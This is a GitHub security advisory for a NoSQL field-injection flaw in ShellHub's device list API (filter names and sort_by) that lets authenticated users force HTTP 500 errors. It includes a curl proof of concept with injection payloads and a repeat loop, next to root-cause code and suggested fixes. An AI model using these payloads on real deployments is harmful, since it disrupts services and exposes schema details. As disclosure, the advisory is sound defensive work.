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ShellHub has crash-DoS via field injection in filter and sort-by parameters

Moderate severity GitHub Reviewed Published Apr 29, 2026 in shellhub-io/shellhub • Updated May 14, 2026

Package

gomod github.com/shellhub-io/shellhub (Go)

Affected versions

<= 0.24.1

Patched versions

0.24.2

Description

Summary

The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

  1. The name field of each filter property in the base64-encoded filter
    query parameter.
  2. The sort_by query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity

CVSS 3.1: 6.5 (Medium)
CWE-20 (Improper Input Validation)
CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions

ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 — Filter field name

api/store/mongo/query-options.go:140:

conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 — Sort-by field

Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation

fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

func fromContains(value interface{}) (bson.M, error) {
    switch value.(type) {
    case string:
        return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

TOKEN=<valid-user-jwt>

# Helper: base64-encode a filter payload
encode_filter() {
  python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
}

# --- Vector 1: filter field injection ---

# Baseline: legitimate filter -> 200
F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=200

# Exploit 1a: Mongo operator as field name
F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 1b: nested object as value
F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 1c: pipeline-computed field as filter name
F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# --- Vector 2: sort-by injection ---

# Baseline: legitimate sort -> 200
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=200

# Exploit 2a: Mongo operator as sort field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 2b: path containing $
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 2c: oversized sort field (no length validation)
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 2d: non-indexable internal field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# --- Repeat to demonstrate no rate limiting ---
for i in $(seq 1 20); do
  curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
    -H "Authorization: Bearer $TOKEN"
done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500

Confirmed field values that trigger 500:

  • Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a .
  • Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings

Observed response characteristics:

HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id>    ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact

  • Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass
    fingerprinting.
  • Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
  • Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
  • Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

  1. Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.

  2. Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:

    • start with $
    • contain $ after a .
    • contain characters outside [A-Za-z0-9_.]
    • exceed a reasonable length (e.g., 64 characters)
  3. Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).

  4. Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.

  5. Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.

References

@gustavosbarreto gustavosbarreto published to shellhub-io/shellhub Apr 29, 2026
Published to the GitHub Advisory Database May 6, 2026
Reviewed May 6, 2026
Published by the National Vulnerability Database May 13, 2026
Last updated May 14, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(17th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements in Data Query Logic

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. Learn more on MITRE.

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

CVE ID

CVE-2026-44425

GHSA ID

GHSA-47r2-v3x6-wff9

Source code

Credits

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